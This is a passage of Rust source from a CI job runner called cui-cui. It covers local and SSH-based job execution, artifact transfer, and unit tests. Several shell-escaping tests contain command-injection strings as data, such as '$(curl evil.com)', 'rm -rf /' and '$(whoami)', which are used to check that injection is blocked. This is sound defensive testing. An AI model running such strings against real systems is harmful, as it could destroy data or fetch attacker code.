                anyhow::bail!("Failed to tar artifacts from '{}': {}", job_name, stderr);
            }
            tar_paths.push(tar_path);
        }
    }

    Ok(tar_paths)
}

/// Run a job locally using exec-prefix mode (no SSH).
///
/// Creates a temporary git worktree so the job runs on an isolated copy
/// of the source tree (not the user's checkout). Artifacts are extracted
/// into the worktree, and the worktree is cleaned up on exit via trap.
fn run_exec_prefix_local(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    log_path: &Path,
    diff_to_apply: Option<&[u8]>,
    config_dir: &Path,
    output_config: &OutputConfig,
) -> Result<ContainerExitStatus> {
    let start = std::time::Instant::now();

    let job_slug = config.job_name.replace('/', "_");
    let artifact_tars = prepare_local_artifact_tars(&config.artifact_dirs, &job_slug)?;

    let work_dir = config.project_dir.to_string_lossy().to_string();
    let work_dir_setup = if git_strategy_is_none(&config.variables) {
        Some(build_temp_workdir(&work_dir))
    } else {
        Some(build_local_worktree(&work_dir, diff_to_apply, config_dir)?)
    };
    let wrapper_content = generate_wrapper_script(
        runner,
        &config.variables,
        &config.script_content,
        &work_dir,
        &artifact_tars,
        config_dir,
        work_dir_setup.as_ref(),
    )?;

    let wrapper_file = tempfile::Builder::new()
        .prefix(&format!(
            "cui-cui-{}-wrapper-",
            config.job_name.replace('/', "_")
        ))
        .suffix(".sh")
        .tempfile()
        .context("Failed to create temp wrapper file")?;
    std::fs::write(wrapper_file.path(), &wrapper_content)?;

    output_config.status(&format!(
        "\x1b[90mRunning locally with exec-prefix: {}\x1b[0m",
        runner.custom_command().unwrap_or("")
    ));

    let mut child = Command::new("sh")
        .arg(wrapper_file.path())
        .stdin(Stdio::null())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .spawn()
        .context("Failed to start local exec-prefix job")?;

    let exit_code = stream_output(&mut child, log_path, output_config)?;
    let duration = start.elapsed();

    Ok(ContainerExitStatus {
        exit_code,
        log_path: log_path.to_path_buf(),
        duration,
    })
}

/// Run a job on a remote runner using exec-prefix mode.
///
/// Ships the wrapper script + CI script (+ diff if any) to the remote,
/// then executes the wrapper via SSH.
fn run_exec_prefix_remote(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    log_path: &Path,
    diff_to_apply: Option<&[u8]>,
    config_dir: &Path,
    output_config: &OutputConfig,
) -> Result<ContainerExitStatus> {
    let start = std::time::Instant::now();
    let slug = project_slug(&config.project_path);
    let remote_dir = remote_worktree_dir(runner, &slug);
    let job_slug = config.job_name.replace('/', "_");

    // 1. Verify SSH
    output_config.status(&format!(
        "\x1b[90mVerifying SSH access to {}...\x1b[0m",
        runner.name
    ));
    verify_ssh(runner)?;

    // 2. Init remote repo + push code (skip when GIT_STRATEGY=none)
    if !git_strategy_is_none(&config.variables) {
        output_config.status(&format!(
            "\x1b[90mInitializing remote repo at {}...\x1b[0m",
            remote_dir
        ));
        init_remote_repo(runner, &remote_dir)?;

        output_config.status("\x1b[90mPushing code to remote...\x1b[0m");
        push_to_remote(runner, &config.project_dir, &remote_dir)?;

        // 3. Ship diff if any
        if let Some(diff) = diff_to_apply {
            let remote_diff_path = format!("/tmp/cui-cui-diff-{}.patch", slug);
            output_config.status("\x1b[90mShipping uncommitted changes...\x1b[0m");
            ship_file(runner, diff, &remote_diff_path)?;
        }
    }

    // 4. Ship artifact tars as-is (extracted in the wrapper, not the worktree)
    let artifact_tars = ship_artifact_tars(
        runner,
        &config.artifact_dirs,
        &job_slug,
        Some(output_config),
    )?;

    // 5. Generate and ship wrapper (CI script is embedded inline via heredoc)
    let work_dir_setup = if git_strategy_is_none(&config.variables) {
        let tmp = format!("/tmp/cui-cui-workdir-{}", slug);
        Some(WorkDir::TempDir { path: tmp })
    } else {
        None
    };
    let wrapper_content = generate_wrapper_script(
        runner,
        &config.variables,
        &config.script_content,
        &remote_dir,
        &artifact_tars,
        config_dir,
        work_dir_setup.as_ref(),
    )?;
    let remote_wrapper_path = format!("/tmp/cui-cui-{}-wrapper.sh", job_slug);
    output_config.status("\x1b[90mShipping wrapper script...\x1b[0m");
    ship_file(runner, wrapper_content.as_bytes(), &remote_wrapper_path)?;

    // 6. Execute wrapper via SSH
    output_config.status(&format!(
        "\x1b[90mRunning on {} with exec-prefix: {}\x1b[0m",
        runner.name,
        runner.custom_command().unwrap_or("")
    ));

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(format!("sh {}", shell_escape(&remote_wrapper_path)));
    cmd.stdin(Stdio::null())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped());

    let mut child = cmd
        .spawn()
        .context("Failed to start remote exec-prefix job")?;

    let exit_code = stream_output(&mut child, log_path, output_config)?;
    let duration = start.elapsed();

    Ok(ContainerExitStatus {
        exit_code,
        log_path: log_path.to_path_buf(),
        duration,
    })
}

/// Compute the remote artifact cache path for binary mode.
///
/// The remote cui-cui stores artifacts at:
/// `~/.cache/cui-cui/<slug>/artifacts/local/<job>/`
/// where slug uses `--` as separator (matching `artifacts::project_slug`).
fn remote_artifact_cache_path(project_path: &str, job_name: &str) -> String {
    let slug = crate::artifacts::project_slug(project_path);
    format!("~/.cache/cui-cui/{}/artifacts/local/{}", slug, job_name)
}

/// Download artifacts from a remote runner's cache (binary mode).
///
/// The remote cui-cui saves artifacts as `.tar` files in its local cache.
/// This pipes the tar file back over SSH.
fn download_from_cache(
    runner: &RunnerConfig,
    job_name: &str,
    project_path: &str,
) -> Result<Vec<u8>> {
    let remote_path = remote_artifact_cache_path(project_path, job_name);
    let tar_path = format!("{}.tar", remote_path);
    let tar_quoted = shell_quote_path(&tar_path);
    let dir_quoted = shell_quote_path(&remote_path);
    let tar_cmd = format!(
        "if [ -f {tq} ]; then cat {tq}; elif [ -d {dq} ]; then tar cf - -C {dq} .; fi",
        tq = tar_quoted,
        dq = dir_quoted,
    );

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(tar_cmd);
    cmd.stdout(Stdio::piped()).stderr(Stdio::piped());

    let output = cmd
        .output()
        .context("Failed to download artifacts from remote cache")?;

    // tar exits non-zero when the directory is empty or missing; that's OK
    // as long as we got no stdout (no data).
    Ok(output.stdout)
}

/// Download artifacts from a remote worktree (exec-prefix mode).
///
/// In exec-prefix mode there is no remote cui-cui, so artifacts remain in
/// the remote worktree. This tars the artifact glob patterns from there.
fn download_from_worktree(
    runner: &RunnerConfig,
    project_path: &str,
    artifacts_paths: &[String],
    artifacts_exclude: &[String],
) -> Result<Vec<u8>> {
    let slug = project_slug(project_path);
    let remote_dir = remote_worktree_dir(runner, &slug);

    let mut tar_cmd = format!("cd {} && tar cf -", shell_quote_path(&remote_dir));
    for pattern in artifacts_exclude {
        tar_cmd.push_str(&format!(" --exclude={}", shell_escape_glob(pattern)));
    }
    for pattern in artifacts_paths {
        tar_cmd.push(' ');
        tar_cmd.push_str(&shell_escape_glob(pattern));
    }
    tar_cmd.push_str(" 2>/dev/null");

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(tar_cmd);
    cmd.stdout(Stdio::piped()).stderr(Stdio::piped());

    let output = cmd
        .output()
        .context("Failed to download artifacts from remote worktree")?;

    // tar exits non-zero when patterns don't match, which is OK
    Ok(output.stdout)
}

/// Download artifacts from a remote runner after a successful job.
///
/// - **Binary mode**: downloads from the remote's local artifact cache
///   (`~/.cache/cui-cui/<slug>/artifacts/local/<job>/`).
/// - **Exec-prefix mode**: downloads matching files from the remote worktree.
///
/// Extracted into the local artifact cache so downstream jobs can find them.
pub fn download_artifacts(
    runner: &RunnerConfig,
    job_name: &str,
    project_path: &str,
    artifacts_paths: &[String],
    artifacts_exclude: &[String],
    output_config: &OutputConfig,
) -> Result<Option<std::path::PathBuf>> {
    if artifacts_paths.is_empty() {
        return Ok(None);
    }

    let local_dir = crate::artifacts::artifact_local_dir(project_path)
        .context("Cannot determine local cache directory")?;
    let dest_tar = local_dir.join(format!("{}.tar", job_name));

    output_config.status(&format!(
        "\x1b[90mDownloading artifacts for '{}'...\x1b[0m",
        job_name
    ));

    let remote_tar_data = if runner.has_custom_runtime() {
        download_from_worktree(runner, project_path, artifacts_paths, artifacts_exclude)?
    } else {
        download_from_cache(runner, job_name, project_path)?
    };

    if remote_tar_data.is_empty() {
        log::debug!("No artifact files found on remote for job '{}'", job_name);
        return Ok(None);
    }

    // Save raw tar bytes directly (no extraction)
    std::fs::create_dir_all(&local_dir)?;
    std::fs::write(&dest_tar, &remote_tar_data)?;

    output_config.status(&format!(
        "\x1b[32mDownloaded artifacts for '{}'\x1b[0m",
        job_name
    ));

    Ok(Some(dest_tar))
}

/// Upload artifacts to a remote runner before job execution.
///
/// **Binary mode** (no exec-prefix): uploads to the remote artifact cache
/// so the remote cui-cui's artifact resolution finds them. Tar files are
/// extracted on the remote; directories are tarred then extracted.
///
/// **Exec-prefix mode**: skipped here. Artifact shipping is handled by
/// `run_exec_prefix_remote()` which ships `.tar` files to the remote and
/// extracts them in the wrapper script at runtime (avoiding permanent
/// modifications to the shared worktree).
///
/// `artifact_dirs` contains `(job_name, local_path)` pairs from artifact
/// resolution.
pub fn upload_artifacts(
    runner: &RunnerConfig,
    project_path: &str,
    artifact_dirs: &[(String, std::path::PathBuf)],
) -> Result<()> {
    if artifact_dirs.is_empty() || runner.has_custom_runtime() {
        return Ok(());
    }

    for (job_name, source_path) in artifact_dirs {
        if !source_path.exists() {
            continue;
        }

        let remote_dest = remote_artifact_cache_path(project_path, job_name);

        println!(
            "\x1b[90m  Uploading artifacts from '{}' to remote...\x1b[0m",
            job_name
        );

        upload_to_remote(runner, source_path, &remote_dest)?;
    }

    Ok(())
}

/// Upload a local artifact (tar file or directory) to a remote path via SSH.
///
/// - **Tar file**: piped directly to `tar xf -` on the remote (no re-tarring).
/// - **Directory**: tarred locally, then piped to the remote.
fn upload_to_remote(runner: &RunnerConfig, source_path: &Path, remote_dest: &str) -> Result<()> {
    let tar_data = if source_path.is_file() {
        // Already a tar file — read it directly
        std::fs::read(source_path).context("Failed to read artifact tar file")?
    } else {
        // Directory — create a tar archive
        let tar_output = Command::new("tar")
            .args(["cf", "-", "-C"])
            .arg(source_path)
            .arg(".")
            .stdout(Stdio::piped())
            .stderr(Stdio::piped())
            .output()
            .context("Failed to create local tar for upload")?;
        tar_output.stdout
    };

    if tar_data.is_empty() {
        return Ok(());
    }

    // Pipe tar data to remote via SSH
    let quoted_dest = shell_quote_path(remote_dest);
    let remote_cmd = format!("mkdir -p {} && cd {} && tar xf -", quoted_dest, quoted_dest);

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(remote_cmd);
    cmd.stdin(Stdio::piped())
        .stdout(Stdio::null())
        .stderr(Stdio::piped());

    let mut child = cmd.spawn().context("Failed to start artifact upload")?;
    if let Some(ref mut stdin) = child.stdin {
        stdin.write_all(&tar_data)?;
    }

    let output = child
        .wait_with_output()
        .context("Failed to wait for artifact upload")?;
    if !output.status.success() {
        let stderr = String::from_utf8_lossy(&output.stderr);
        anyhow::bail!(
            "Failed to upload artifacts to runner '{}': {}",
            runner.name,
            stderr.trim()
        );
    }

    Ok(())
}

/// Launch an interactive container on a runner using binary mode (no exec-prefix).
///
/// Pushes code to the remote, then runs `cui-cui --container <job>` via SSH
/// with TTY allocation for full interactivity.
fn launch_binary_remote(config: &ContainerConfig, runner: &RunnerConfig) -> Result<()> {
    let slug = project_slug(&config.project_path);
    let remote_dir = remote_worktree_dir(runner, &slug);
    let binary = runner.binary.as_deref().unwrap_or("cui-cui");

    println!(
        "\x1b[90m  Verifying SSH access to {}...\x1b[0m",
        runner.name
    );
    verify_ssh(runner)?;

    println!("\x1b[90m  Checking cui-cui on remote...\x1b[0m");
    let remote_version = verify_remote_binary(runner)?;
    let local_version = env!("CUI_CUI_VERSION");
    if !remote_version.contains(local_version) {
        eprintln!(
            "\x1b[33m  Warning: version mismatch — local: {}, remote: {}\x1b[0m",
            local_version, remote_version
        );
    }

    println!(
        "\x1b[90m  Initializing remote repo at {}...\x1b[0m",
        remote_dir
    );
    init_remote_repo(runner, &remote_dir)?;

    println!("\x1b[90m  Pushing code to remote...\x1b[0m");
    let sha = push_to_remote(runner, &config.project_dir, &remote_dir)?;

    let container_name = crate::container::unique_volume_name("cuicui");
    let spec_remote_path = format!("/tmp/cui-cui-spec-{}.json", slug);
    let mut spec = crate::container::JobSpec::from_config(config);
    spec.sha = Some(sha);
    spec.container_name = Some(container_name.clone());
    let spec_json = serde_json::to_string(&spec).context("Failed to serialize job spec")?;
    println!("\x1b[90m  Shipping job spec...\x1b[0m");
    ship_file(runner, spec_json.as_bytes(), &spec_remote_path)?;

    let mut remote_cmd = source_profile_preamble();
    remote_cmd.push_str(&format!(
        "cd {} && {} --container {}",
        shell_quote_path(&remote_dir),
        binary,
        shell_escape(&config.job_name)
    ));
    remote_cmd.push_str(&format!(" --job-spec {}", shell_escape(&spec_remote_path)));

    println!(
        "\x1b[90m  Launching container on {}: {} --container '{}'\x1b[0m\n",
        runner.name, binary, config.job_name
    );

    #[cfg(unix)]
    let _sigint_guard = {
        let runtime_name = config.runtime.map(|r| r.name()).unwrap_or("podman");
        RemoteSigintGuard::new(runner, runtime_name, &container_name)
    };

    let status = Command::new("ssh")
        .arg("-t")
        .args(ssh_destination(runner))
        .arg(&remote_cmd)
        .status()
        .context("Failed to launch remote container")?;

    if !status.success() {
        let code = status.code().unwrap_or(-1);
        anyhow::bail!("Remote container exited with code {}", code);
    }

    Ok(())
}

/// Launch an interactive container on a local runner using exec-prefix mode.
fn launch_exec_prefix_local(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    config_dir: &Path,
) -> Result<()> {
    let job_slug = config.job_name.replace('/', "_");
    let artifact_tars = prepare_local_artifact_tars(&config.artifact_dirs, &job_slug)?;
    let work_dir = config.project_dir.to_string_lossy().to_string();
    let work_dir_setup = if git_strategy_is_none(&config.variables) {
        Some(build_temp_workdir(&work_dir))
    } else {
        Some(build_local_worktree(&work_dir, None, config_dir)?)
    };
    let wrapper = generate_interactive_wrapper(
        runner,
        &config.variables,
        &config.script_content,
        &work_dir,
        &artifact_tars,
        config_dir,
        work_dir_setup.as_ref(),
    )?;

    let wrapper_file = tempfile::Builder::new()
        .prefix(&format!(
            "cui-cui-{}-interactive-",
            config.job_name.replace('/', "_")
        ))
        .suffix(".sh")
        .tempfile()
        .context("Failed to create temp wrapper file")?;
    std::fs::write(wrapper_file.path(), &wrapper)?;

    println!(
        "\x1b[90m  Launching interactive shell with exec-prefix: {}\x1b[0m\n",
        runner.custom_command().unwrap_or("")
    );

    let status = Command::new("sh")
        .arg(wrapper_file.path())
        .status()
        .context("Failed to launch local interactive container")?;

    if !status.success() {
        let code = status.code().unwrap_or(-1);
        anyhow::bail!("Interactive session exited with code {}", code);
    }

    Ok(())
}

/// Launch an interactive container on a remote runner using exec-prefix mode.
///
/// Ships the interactive wrapper to the remote and executes via `ssh -t`
/// for TTY allocation.
fn launch_exec_prefix_remote_interactive(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    config_dir: &Path,
) -> Result<()> {
    let slug = project_slug(&config.project_path);
    let remote_dir = remote_worktree_dir(runner, &slug);
    let job_slug = config.job_name.replace('/', "_");

    println!(
        "\x1b[90m  Verifying SSH access to {}...\x1b[0m",
        runner.name
    );
    verify_ssh(runner)?;

    let git_strategy_none = git_strategy_is_none(&config.variables);
    if !git_strategy_none {
        println!(
            "\x1b[90m  Initializing remote repo at {}...\x1b[0m",
            remote_dir
        );
        init_remote_repo(runner, &remote_dir)?;

        println!("\x1b[90m  Pushing code to remote...\x1b[0m");
        push_to_remote(runner, &config.project_dir, &remote_dir)?;
    }

    // Ship artifact tars
    let artifact_tars = ship_artifact_tars(runner, &config.artifact_dirs, &job_slug, None)?;

    // Generate and ship interactive wrapper
    let work_dir_setup = if git_strategy_none {
        let tmp = format!("/tmp/cui-cui-workdir-{}", slug);
        Some(WorkDir::TempDir { path: tmp })
    } else {
        None
    };
    let wrapper = generate_interactive_wrapper(
        runner,
        &config.variables,
        &config.script_content,
        &remote_dir,
        &artifact_tars,
        config_dir,
        work_dir_setup.as_ref(),
    )?;
    let remote_wrapper_path = format!("/tmp/cui-cui-{}-interactive.sh", job_slug);
    println!("\x1b[90m  Shipping interactive wrapper...\x1b[0m");
    ship_file(runner, wrapper.as_bytes(), &remote_wrapper_path)?;

    println!(
        "\x1b[90m  Launching interactive shell on {} with exec-prefix: {}\x1b[0m\n",
        runner.name,
        runner.custom_command().unwrap_or("")
    );

    let status = Command::new("ssh")
        .arg("-t")
        .args(ssh_destination(runner))
        .arg(format!("sh {}", shell_escape(&remote_wrapper_path)))
        .status()
        .context("Failed to launch remote interactive container")?;

    if !status.success() {
        let code = status.code().unwrap_or(-1);
        anyhow::bail!("Remote interactive session exited with code {}", code);
    }

    Ok(())
}

/// Launch an interactive container on a runner.
///
/// - **Binary mode** (remote, no exec-prefix): push code, `ssh -t cui-cui --container <job>`
/// - **Exec-prefix local**: run interactive wrapper with `bash`
/// - **Exec-prefix remote**: ship interactive wrapper, `ssh -t sh <wrapper>`
pub fn launch_on_runner(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    config_dir: &Path,
) -> Result<()> {
    if runner.has_custom_runtime() {
        if runner.host.is_some() {
            launch_exec_prefix_remote_interactive(config, runner, config_dir)
        } else {
            launch_exec_prefix_local(config, runner, config_dir)
        }
    } else if runner.host.is_some() {
        launch_binary_remote(config, runner)
    } else {
        crate::container::launch_container(config.clone(), None)
    }
}

/// Run a job on a runner. Dispatches to binary mode or exec-prefix mode
/// based on runner configuration.
///
/// `config_dir` is the directory containing `.cui-cui.toml`, used to resolve
/// `@file` references in runner prepare/cleanup scripts.
pub fn run_on_runner(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    log_path: &Path,
    diff_to_apply: Option<&[u8]>,
    config_dir: &Path,
    output_config: &OutputConfig,
    git_lock: Option<&std::sync::Mutex<()>>,
) -> Result<ContainerExitStatus> {
    if runner.has_custom_runtime() {
        if runner.host.is_some() {
            return run_exec_prefix_remote(
                config,
                runner,
                log_path,
                diff_to_apply,
                config_dir,
                output_config,
            );
        } else {
            return run_exec_prefix_local(
                config,
                runner,
                log_path,
                diff_to_apply,
                config_dir,
                output_config,
            );
        }
    }

    if runner.host.is_none() {
        return crate::container::run_container(
            config.clone(),
            log_path,
            diff_to_apply,
            None,
            output_config,
        );
    }

    run_binary_mode(
        config,
        runner,
        log_path,
        diff_to_apply,
        output_config,
        git_lock,
    )
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::config::CustomRuntimeConfig;
    use std::path::PathBuf;

    #[test]
    fn test_version_format() {
        let version = env!("CUI_CUI_VERSION");
        assert!(
            version.starts_with('v'),
            "version should start with 'v': {}",
            version
        );
        assert!(
            version.contains('.'),
            "version should contain '.': {}",
            version
        );
        assert!(
            !version.contains('-'),
            "version should use '.' not '-': {}",
            version
        );
    }

    #[test]
    fn test_project_slug_simple() {
        assert_eq!(project_slug("my-project"), "my-project");
    }

    #[test]
    fn test_project_slug_with_slashes() {
        assert_eq!(project_slug("linux/kernel/ci"), "linux-kernel-ci");
    }

    #[test]
    fn test_project_slug_with_special_chars() {
        assert_eq!(project_slug("group/sub.project"), "group-sub-project");
    }

    #[test]
    fn test_project_slug_leading_trailing() {
        assert_eq!(project_slug("/my-project/"), "my-project");
    }

    #[test]
    fn test_ssh_destination_simple() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        let dest = ssh_destination(&runner);
        assert_eq!(dest, vec!["build.local"]);
    }

    #[test]
    fn test_ssh_destination_with_user() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            user: Some("ci".to_string()),
            ..Default::default()
        };
        let dest = ssh_destination(&runner);
        assert_eq!(dest, vec!["ci@build.local"]);
    }

    #[test]
    fn test_ssh_destination_with_port() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            port: Some(2222),
            ..Default::default()
        };
        let dest = ssh_destination(&runner);
        assert_eq!(dest, vec!["-p", "2222", "build.local"]);
    }

    #[test]
    fn test_ssh_destination_full() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            user: Some("ci".to_string()),
            port: Some(2222),
            ..Default::default()
        };
        let dest = ssh_destination(&runner);
        assert_eq!(dest, vec!["-p", "2222", "ci@build.local"]);
    }

    #[test]
    fn test_remote_worktree_dir_default() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        assert_eq!(
            remote_worktree_dir(&runner, "my-project"),
            "~/.cui-cui/worktrees/my-project"
        );
    }

    #[test]
    fn test_remote_worktree_dir_custom() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            working_dir: Some("/opt/ci/worktrees".to_string()),
            ..Default::default()
        };
        assert_eq!(
            remote_worktree_dir(&runner, "my-project"),
            "/opt/ci/worktrees/my-project"
        );
    }

    #[test]
    fn test_git_push_url_simple() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            ..Default::default()
        };
        assert_eq!(
            git_push_url(&runner, "~/.cui-cui/worktrees/proj"),
            "build.local:~/.cui-cui/worktrees/proj"
        );
    }

    #[test]
    fn test_git_push_url_with_user() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            user: Some("ci".to_string()),
            ..Default::default()
        };
        assert_eq!(
            git_push_url(&runner, "~/.cui-cui/worktrees/proj"),
            "ci@build.local:~/.cui-cui/worktrees/proj"
        );
    }

    #[test]
    fn test_git_push_url_with_port() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            port: Some(2222),
            ..Default::default()
        };
        assert_eq!(
            git_push_url(&runner, "/opt/worktrees/proj"),
            "ssh://build.local:2222//opt/worktrees/proj"
        );
    }

    #[test]
    fn test_git_push_url_full() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            host: Some("build.local".to_string()),
            tags: vec![],
            user: Some("ci".to_string()),
            port: Some(2222),
            ..Default::default()
        };
        assert_eq!(
            git_push_url(&runner, "/opt/worktrees/proj"),
            "ssh://ci@build.local:2222//opt/worktrees/proj"
        );
    }

    #[test]
    fn test_run_on_runner_local_without_exec_prefix_runs_container() {
        let runner = RunnerConfig {
            name: "local-runner".to_string(),
            host: None,
            tags: vec!["kvm".to_string()],
            ..Default::default()
        };
        let config = ContainerConfig {
            image: "alpine:latest".to_string(),
            project_dir: PathBuf::from("/tmp/test"),
            variables: Default::default(),
            script_content: "echo hello".to_string(),
            job_name: "test-job".to_string(),
            privileged: false,
            no_overlay: false,
            artifact_dirs: vec![],
            artifacts_paths: vec![],
            artifacts_exclude: vec![],
            artifacts_when: "on_success".to_string(),
            project_path: "test/project".to_string(),
            needs: vec![],
            actions_cache_dir: None,
            git_image: "docker.io/alpine/git:latest".to_string(),
            allow_failure: false,
            runtime: None,
            kernel: None,
            memory: None,
            cpus: None,
        };
        let result = run_on_runner(
            &config,
            &runner,
            Path::new("/tmp/log"),
            None,
            Path::new("/tmp"),
            &OutputConfig::default(),
            None,
        );
        // Falls through to run_container which will fail due to no runtime,
        // but it should NOT fail with "Local runner" error
        assert!(result.is_err());
        assert!(!result.unwrap_err().to_string().contains("Local runner"));
    }

    #[test]
    fn test_shell_escape_simple() {
        assert_eq!(shell_escape("hello"), "'hello'");
    }

    #[test]
    fn test_shell_escape_with_single_quotes() {
        assert_eq!(shell_escape("it's"), "'it'\\''s'");
    }

    #[test]
    fn test_shell_escape_with_spaces() {
        assert_eq!(shell_escape("hello world"), "'hello world'");
    }

    #[test]
    fn test_shell_escape_with_semicolons() {
        assert_eq!(shell_escape("a; rm -rf /"), "'a; rm -rf /'");
    }

    #[test]
    fn test_shell_escape_with_backticks() {
        assert_eq!(shell_escape("$(whoami)"), "'$(whoami)'");
    }

    #[test]
    fn test_shell_escape_empty() {
        assert_eq!(shell_escape(""), "''");
    }

    #[test]
    fn test_shell_escape_glob_preserves_wildcards() {
        assert_eq!(shell_escape_glob("results/*.txt"), "results/*.txt");
        assert_eq!(shell_escape_glob("build/output-?"), "build/output-?");
        assert_eq!(shell_escape_glob("src/[abc]*.rs"), "src/[abc]*.rs");
    }

    #[test]
    fn test_shell_escape_glob_blocks_command_injection() {
        assert_eq!(
            shell_escape_glob("$(curl evil.com)"),
            "\\$\\(curl evil.com\\)"
        );
        assert_eq!(shell_escape_glob("`rm -rf /`"), "\\`rm -rf /\\`");
        assert_eq!(shell_escape_glob("file; rm -rf /"), "file\\; rm -rf /");
        assert_eq!(shell_escape_glob("a && b"), "a \\&\\& b");
        assert_eq!(shell_escape_glob("a | b"), "a \\| b");
    }

    #[test]
    fn test_shell_escape_glob_safe_patterns_unchanged() {
        assert_eq!(shell_escape_glob("results"), "results");
        assert_eq!(
            shell_escape_glob("build/output.tar.gz"),
            "build/output.tar.gz"
        );
        assert_eq!(shell_escape_glob("path/to/dir/"), "path/to/dir/");
    }

    #[test]
    fn test_shell_quote_path_absolute() {
        assert_eq!(shell_quote_path("/home/ci/project"), "\"/home/ci/project\"");
    }

    #[test]
    fn test_shell_quote_path_tilde_expansion() {
        assert_eq!(
            shell_quote_path("~/.cui-cui/worktrees/slug"),
            "\"$HOME/.cui-cui/worktrees/slug\""
        );
    }

    #[test]
    fn test_shell_quote_path_no_tilde() {
        assert_eq!(
            shell_quote_path("/opt/ci/trees/slug"),
            "\"/opt/ci/trees/slug\""
        );
    }

    #[test]
    fn test_shell_quote_path_escapes_command_substitution() {
        assert_eq!(
            shell_quote_path("~/.cache/cui-cui/artifacts/$(whoami)"),
            "\"$HOME/.cache/cui-cui/artifacts/\\$(whoami)\""
        );
    }

    #[test]
    fn test_shell_quote_path_escapes_backticks() {
        assert_eq!(
            shell_quote_path("~/.cache/artifacts/`id`"),
            "\"$HOME/.cache/artifacts/\\`id\\`\""
        );
    }

    #[test]
    fn test_shell_quote_path_escapes_backslash_and_quotes() {
        assert_eq!(
            shell_quote_path("/path/with\"quote\\slash"),
            "\"/path/with\\\"quote\\\\slash\""
        );
    }

    #[test]
    fn test_is_safe_shell_var_name_valid() {
        assert!(is_safe_shell_var_name("CI_JOB_NAME"));
        assert!(is_safe_shell_var_name("_PRIVATE"));
        assert!(is_safe_shell_var_name("x"));
        assert!(is_safe_shell_var_name("FOO123"));
    }

    #[test]
    fn test_is_safe_shell_var_name_rejects_injection() {
        assert!(!is_safe_shell_var_name("FOO$(cmd)"));
        assert!(!is_safe_shell_var_name("x;rm -rf /;y"));
        assert!(!is_safe_shell_var_name("A B"));
        assert!(!is_safe_shell_var_name("FOO`id`"));
        assert!(!is_safe_shell_var_name(""));
        assert!(!is_safe_shell_var_name("1BAD"));
        assert!(!is_safe_shell_var_name("FOO-BAR"));
    }

    #[test]
    fn test_wrapper_preamble_skips_unsafe_var_names() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            ..Default::default()
        };
        let mut vars = IndexMap::new();
        vars.insert("GOOD_VAR".to_string(), "safe".to_string());
        vars.insert("BAD$(cmd)".to_string(), "injected".to_string());
        vars.insert("ALSO_GOOD".to_string(), "ok".to_string());

        let script = generate_wrapper_preamble(
            &runner,
            &vars,
            "/home/ci/project",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        assert!(script.contains("export GOOD_VAR="));
        assert!(script.contains("export ALSO_GOOD="));
        assert!(!script.contains("BAD$(cmd)"));
    }

    #[test]
    fn test_sanitize_heredoc_content_removes_delimiter() {
        let content = "echo hello\n__CUI_CUI_SCRIPT__\nrm -rf /\n";
        let safe = sanitize_heredoc_content(content);
        assert!(!safe.contains("__CUI_CUI_SCRIPT__"));
        assert!(safe.contains("echo hello"));
        assert!(safe.contains("# [sanitized heredoc delimiter]"));
    }

    #[test]
    fn test_sanitize_heredoc_content_preserves_normal_content() {
        let content = "echo hello\necho world\n";
        let safe = sanitize_heredoc_content(content);
        assert_eq!(safe, content);
    }

    #[test]
    fn test_wrapper_script_sanitizes_heredoc_in_content() {
        let runner = RunnerConfig {
            name: "test".to_string(),
            ..Default::default()
        };
        let vars = IndexMap::new();
        let malicious_content = "echo start\n__CUI_CUI_SCRIPT__\nrm -rf /\n";

        let script = generate_wrapper_script(
            &runner,
            &vars,
            malicious_content,
            "/home/ci/project",
            &[],
            Path::new("/tmp"),
            None,
        )
        .unwrap();

        let count = script.matches(HEREDOC_DELIMITER).count();
        assert_eq!(
            count, 2,
            "Only the opening and closing delimiters should remain, got {}",
            count
        );
    }

    #[test]
    fn test_resolve_config_value_inline() {
        let result = resolve_config_value("limactl stop vm", Path::new("/tmp")).unwrap();
        assert_eq!(result, "limactl stop vm");
    }

    #[test]
    fn test_resolve_config_value_at_file() {
        let dir = tempfile::tempdir().unwrap();
        let script_path = dir.path().join("prepare.sh");
        std::fs::write(&script_path, "#!/bin/sh\necho prepare\n").unwrap();

        let result = resolve_config_value("@prepare.sh", dir.path()).unwrap();
        assert_eq!(result, "#!/bin/sh\necho prepare\n");
    }

    #[test]
    fn test_resolve_config_value_at_file_absolute() {
        let dir = tempfile::tempdir().unwrap();
        let script_path = dir.path().join("cleanup.sh");
        std::fs::write(&script_path, "echo cleanup\n").unwrap();

        let at_ref = format!("@{}", script_path.display());
        let result = resolve_config_value(&at_ref, Path::new("/nonexistent")).unwrap();
        assert_eq!(result, "echo cleanup\n");
    }

    #[test]
    fn test_resolve_config_value_at_file_missing() {
